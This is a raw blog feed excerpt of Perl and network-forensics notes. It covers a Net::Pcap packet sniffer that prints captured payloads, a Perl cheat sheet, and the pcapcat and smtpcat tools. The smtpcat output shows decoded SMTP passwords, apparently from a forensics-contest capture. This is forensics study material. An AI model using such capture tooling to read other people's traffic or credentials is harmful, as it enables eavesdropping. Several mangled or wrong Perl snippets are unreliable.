0);"&gt;Net::Pcap::setfilter($pcap_object, $filter_t); &lt;span style="color: rgb(51, 255, 255);"&gt;//set the compliled filter, of $filter_t&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Net::Pcap::loop($pcap_object, -1, \&amp;amp;capture_packets, '') || die 'Unable to perform packet capture';&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt; //loop or sniff packets on the network infinitly&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Net::Pcap::close($pcap_object);&lt;/span&gt; /&lt;span style="color: rgb(51, 255, 255);"&gt;/close the pcap object gracefully&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#######################################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;# subroutine to handle each packet that is sniffed&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sub capture_packets {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   my ($user_data, $hdr, $pkt) = @_;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//this line should always be present to handle the incoming packets, You refer to the incoming packets from $pkt as you would see from the next lines of code&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   my $ethernet = NetPacket::Ethernet-&gt;decode($pkt);&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//decodes the ethernet frame&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   my $ip = NetPacket::IP-&gt;decode($ethernet-&gt;{data});&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// decodes the IP headers&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   my $tcp = NetPacket::TCP-&gt;decode($ip-&gt;{data}); &lt;span style="color: rgb(51, 255, 255);"&gt;// decodes the TCP data &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print "$ip-&gt;{src_ip} -&gt; $ip-&gt;{dest_ip} : ";&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// prints source to destination IP's&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print "$tcp-&gt;{data}\n";&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//prints the data contained in this packet&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;The unfortunate thing about dns request is that there can be so many of them, even when you request one website. For instance, try going to www.google.com. You would notice that you capture the dns request for www.google.com in addition to a couple other request that the google page itself has made for you.&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-7056817814913220530?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/7056817814913220530/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/01/creating-sniffer-using-perl.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7056817814913220530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7056817814913220530'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/01/creating-sniffer-using-perl.html' title='Creating a sniffer using perl'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-6533974438163855396</id><published>2009-12-29T11:11:00.000-08:00</published><updated>2010-01-21T06:06:59.833-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><title type='text'>Perl - Notes</title><content type='html'>I have decided to learn perl as i began to encouter many perl scripts used for forensics and pentesting. I believe it would help me learn more if i write my own tools and understand the entire process a little bit better. This blog would house my notes and cheat sheets from day one.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Perl is a case sensitive language&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Starting line of every perl program&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#!/usr/local/bin/perl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Printing text:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print 'hello world';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When printing from a variable use double quotes instead of single quotes. Information within the single quotes are interpreted as is.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "$var1"&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;Declare and assign a variable. This variable is known as a scalar variable. Scalar variables are simple variables containing only one element--a string, a number, or a reference. Strings may contain any symbol, letter, or number. Numbers may contain exponents, integers, or decimal values.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$var1 = 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$var1 = 'hello world';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Declare an Array:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@food = ("rice", "eggs", "orange");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Accessing a portion of an array&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "$food[1]"&lt;/span&gt;; &lt;span style="color: rgb(51, 255, 255);"&gt; //this here would print eggs with reference to the above example&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Finding length of array just involves redifing the array as a scalar variable. For instance&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@food = ("rice", "eggs", "orange");&lt;br /&gt;print "$3";&lt;span style="color: rgb(51, 255, 255);"&gt; // This would output '3'&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Add and Remove elements from an array&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;push()&lt;/b&gt; - adds an element to the end of an array.&lt;/li&gt;&lt;li&gt;&lt;b&gt;unshift()&lt;/b&gt; - adds an element to the beginning of an array.&lt;/li&gt;&lt;li&gt;&lt;b&gt;pop()&lt;/b&gt; - removes the last element of an array.&lt;/li&gt;&lt;li&gt;&lt;b&gt;shift()&lt;/b&gt; - removes the first element of an array.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Concatanate two string variables;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print $string.$linebreak;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Opening a file and printing its contents like the unix program 'cat'&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$file_path = '/root/myfile.txt';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;open (file1, "$file_path");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@mydata = &lt;file1&gt;;&lt;/file1&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;close(file1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print @mydata;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Formating Characters&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.tizag.com/perlT/perlstrings.php&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Regular Expression Cheat Cheets&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.cs.tut.fi/~jkorpela/perl/regexp.html&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;Using substrings.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;To use substr() to grab a substring, you need to give it both a string variable to pick something out of and an offset (which starts at 0). The first argument of substr() is the string we want to take something from and the second argument is the offset, or where we want to start at. Substr function can take a third and forth argument, third being the length and forth being a replacement string value.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;$mystr = "hello world";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$mystr1 = substr($mystr, 2);&lt;br /&gt;$mystr2 = substr($mystr, 2, 3);&lt;br /&gt;$mystr3 = substr($mystr, 6, 5, "there");&lt;br /&gt;&lt;br /&gt;print "$mystr1"; &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;// this would print &lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'llo world'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "$mystr2"; &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;// this would print &lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'llo'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "$mystr"; &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;// this would print &lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;'hello there'. &lt;span style="color: rgb(51, 255, 255);"&gt;Note we are printing $mystr and not mystr3 here&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Transforming strings into arrays with split function&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$mystr = 'the/boy/walked/fast';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@myarr = split('/', $mystr);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "@myarr";&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// this prints 'the boy walked fast'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Likewise we can join elements of an array into a scalar string.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@array = ("David","Larry","Roger","Ken","Michael","Tom");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@array2 = qw(Pizza Steak Chicken Burgers);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@array = ("a") x 10; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "@array";&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//would print the character 'a' 10 times&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;# JOIN 'EM TOGETHER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$firststring = join(", ",@array);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$secondstring = join(" ",@array2);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Sorting arrays&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@myarr = ("chicken" , "eggs", "apples");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@myarr = sort(@myarr);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Conditions and loops are Similar in syntax to C.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[While loop]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$a = &lt;stdin&gt;;&lt;/stdin&gt;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//Read input from keyboard&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;while ($a ne "kill")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print "wrong";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   $a = &lt;stdin&gt;;&lt;/stdin&gt;&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 255);"&gt;//Read input from keyboard&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "Correct";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[For loop]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"   for ($x = 0; $x &lt; style="color: rgb(255, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print "$x\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[until statement]&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$a = 1;&lt;br /&gt;do&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;{&lt;br /&gt;print $a;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$a++&lt;stdin&gt;;&lt;br /&gt;&lt;/stdin&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;while ($a &lt;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;[If statement]&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"       $a = "hello" &lt;stdin&gt;&lt;stdin&gt;;      "&lt;/stdin&gt;&lt;/stdin&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;if (length ($a) &gt; 3)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print "more than 3 characters";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;[RE expression] using =~ or !~&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$word = "Hello my good friend";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;if ($word =~ /my/)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print "found the word: my"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   exit;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "Not found";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The opposite of the above would be to use '!~' instead of '=~'.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Substitution/replacement:&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$word = "canada states";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$word =~ s/canada/United/&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//replaces only the first occurance of the string canada with United&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$word =~ s/canada/United/g&lt;/span&gt; //the addition of the g in the end would replace all occurances of the string. It represents global change.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$word =~ s/[Hh][Oo][Pp][Ee]/Hope/g&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//This pretty much ignores the case. The next example is a better way to do this&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$word =~ s/CanADa/Canada/gi // &lt;span style="color: rgb(51, 255, 255);"&gt;The 'i' in the end ignores case&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$search = "the";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;s/$search/xxx/g;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;will replace every occurrence of the with xxx. If you want to replace every occurence of there then you cannot do s/$searchre/xxx/ because this will be interpolated as the variable $searchre. Instead you should put the variable name in curly braces so that the code becomes $search = "the";&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;s/${search}re/xxx/;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Character Translation&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$a = "abc";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$a =~ tr/abc/boy/;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// will trnaslate a to a b, b to an o and c to a y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print $a;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// will print boy&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$count = ($a =~ tr/*/*/);&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//the statement here counts the number of asterisks in the $sentence variable and stores that in the $count variable. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;However, the dash is still used to mean "between". This statement converts $_ to upper case. &lt;span style="color: rgb(255, 0, 0);"&gt;tr/a-z/A-Z/;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Sorting Arrays of words&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@array1 = ("orange","yellow","Red","green,","blue");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@sorted = sort(@array1);&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//Sorts in alphabetical order&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@sorted_reversed = sort {$b cmp $a} (array1);&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//sorts in reverse order&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Sorting arrays of numbers&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@array1 = (5,7,2,4,1,8,6);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@sorted = sort (@array1);&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//sorts in alphabetical order&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;@sorted_reversed = sort {$b &lt;=&gt; $a} (@array1);&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//sorts in reverse order&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-weight: bold;"&gt;Key Functions to remember&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $position = index($longString, $shortstring)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(51, 51, 51); font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;returns the position of a character or substring in a string&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;splice (@myarr, 2 , 3);&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// If you have an array of 7 elements, this function reads all the 5 elements and starting from with position two(which is actually the third position, as the first element starts with a 0) cuts the next three elements.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;&lt;table style="width: 424px; height: 367px;" border="0"&gt;&lt;/table&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-6533974438163855396?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/6533974438163855396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/perl-notes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6533974438163855396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6533974438163855396'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/perl-notes.html' title='Perl - Notes'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-7058134655789137251</id><published>2009-12-21T08:00:00.000-08:00</published><updated>2009-12-21T08:12:00.481-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pcapcat'/><title type='text'>pcapcat, dumping the contents of a tcp stream</title><content type='html'>Pcapcat is a simple perl script that can dump the contents of a tcp stream. The script gives an index of the tcp streams that it identifies (by default shows only new tcp connection streams, those initialize by syn packets but you have the option to show all already established connections as well) and you would use this index to indentify which stream you would like to dump.&lt;br /&gt;&lt;br /&gt;usage:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# perl pcapcat -r pcap_file&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// displays new connection streams. Already established connections would be ignored&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# perl pcapcat -r pcap_file -a&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// '-a' displays already established connections. Useful in many cases where the initial communication had already commenced like a conversation.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# perl pcapcat -h&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// gives you a listing of all the options used with pcapcat&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;http://blog.kiddaland.net/2009/09/network-forensics-puzzle/&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-7058134655789137251?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/7058134655789137251/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/pcapcat-dumping-contents-of-tcp-stream.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7058134655789137251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7058134655789137251'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/pcapcat-dumping-contents-of-tcp-stream.html' title='pcapcat, dumping the contents of a tcp stream'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-8818135972054180831</id><published>2009-12-21T06:34:00.001-08:00</published><updated>2010-01-07T15:22:51.822-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='smtpcat'/><title type='text'>smtpcat, Parseing emails from a pcap file</title><content type='html'>I learned of the tool from a forensic contest blog i've been following for awhile now.  This tool came about when a challenge was posed to determine the contents of an email from a pcap file. I've posted the solutions to this contest in an early blog entry (still have to update the part on getting the password) but my methods were not very automated and as easy as one might want things to be. A perl script, Smtpcat, came about to resolve this issue. From the author, Amar Yousif,&lt;br /&gt;"&lt;span style="font-style: italic; color: rgb(255, 102, 0);"&gt;I wrote smtpcat which will loop through a pcap file and identify all of the smtp conversations in it. Smtpcat dive deep into the payload and identifies the sender, receiver, date, subject, and optionally the AuthSMTP decoded password. The tool also has the ability to dump the payload of any smtp message as an eml file that can be further opened via outlook express for example&lt;/span&gt;. "&lt;br /&gt;&lt;br /&gt;This tool definitly would make my life easier when pasrsing through network captures for email messages and its contents. Im happy i did things using a more manual procedure, just goes to show that i understood what i was doing.&lt;br /&gt;&lt;br /&gt;usage:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# perl smtpcat -r pcap_file -p&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// '-r' reads the pcap and '-p' tells smtpcat to decode the smtp password&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[1] 192.168.1.159:1036 -&gt; 64.12.102.142:587&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[1] sneakyg33k@aol.com -&gt; sec558@gmail.com   Sat, 10 Oct 2009 07:35:30 -0600&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[1] SUBJ: lunch next week&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[1] PASS:558r00lz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[2] 192.168.1.159:1038 -&gt; 64.12.102.142:587&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[2] sneakyg33k@aol.com -&gt; mistersecretx@aol.com   Sat, 10 Oct 2009 07:38:10 -0600&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[2] SUBJ: rendezvous&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[2] PASS:558r00lz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above shows two email conversations being sent. Smtpcat identifies the sender and recipient as well as the smtp password.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# perl smtpcat -r pcap_file -p&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-d 2 -w message.eml &lt;/span&gt;// '-d 2' dumps the content of the smtp message from index 2 (index 2 was identified with the first command output above). '-w' writes the contents of the smtp message to a file&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can then open the message.eml file in outlook express to get the email body and possible attachments.&lt;br /&gt;&lt;br /&gt;For more commands type: &lt;span style="color: rgb(255, 0, 0);"&gt;# perl smtpcat -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://forensicscontest.com/contest02/Finalists/Amar_Yousif/narrative.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.yousicurity.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 